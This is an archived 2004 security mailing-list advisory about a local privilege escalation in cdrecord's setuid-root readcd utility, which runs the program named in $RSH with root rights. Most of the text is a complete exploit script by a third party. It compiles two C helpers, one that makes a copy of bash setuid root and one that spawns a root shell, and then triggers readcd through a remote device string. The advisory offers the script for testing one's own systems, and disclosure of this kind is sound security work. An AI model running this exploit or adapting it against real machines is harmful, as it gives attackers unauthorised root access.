

[EXPL] CDRecord's readcd Local Root Privileges

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0043.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/19/04

To: list@securiteam.com

Date: 19 Sep 2004 14:42:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

CDRecord's readcd Local Root Privileges

SUMMARY

Max Vozeler found that the cdrecord program, which is suid root, fails to drop euid=0 when it exec()s a program specified by the user through the \$RSH environment variable. This can be abused by a local attacker to obtain root privileges. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
#!/bin/bash
```

```
echo "readcd-exp.sh -- ReadCD local exploit ( Test on  
cdrecord-2.01-0.a27.2mdk)"
```

```
echo "Author : newbug [at] chroot.org"
```

```
echo "Date :09.13.2004"
```

```
echo "IRC : irc.chroot.org #discuss"
```

```
export READCD=/usr/bin/readcd
```

```
cd /tmp
```

```
cat > s.c <<_EOF_
```

Securiteam: [EXPL] CDRecord's readcd Local Root Privileges

```
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
    setuid(0);setgid(0);
    chown("/tmp/ss", 0, 0);
    chmod("/tmp/ss", 04755);

    return 0;
}
```

EOF

```
cat > ss.c <<_EOF_
#include <stdio.h>
```

```
int main()
{
    setuid(0);setgid(0);
    execl("/bin/bash","bash",(char *)0);

    return 0;
}
```

EOF

```
gcc -o s s.c
gcc -o ss ss.c
```

```
export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:newbug@chroot.org>> newbug Tseng.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [EXPL] CDRecord's readcd Local Root Privileges

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.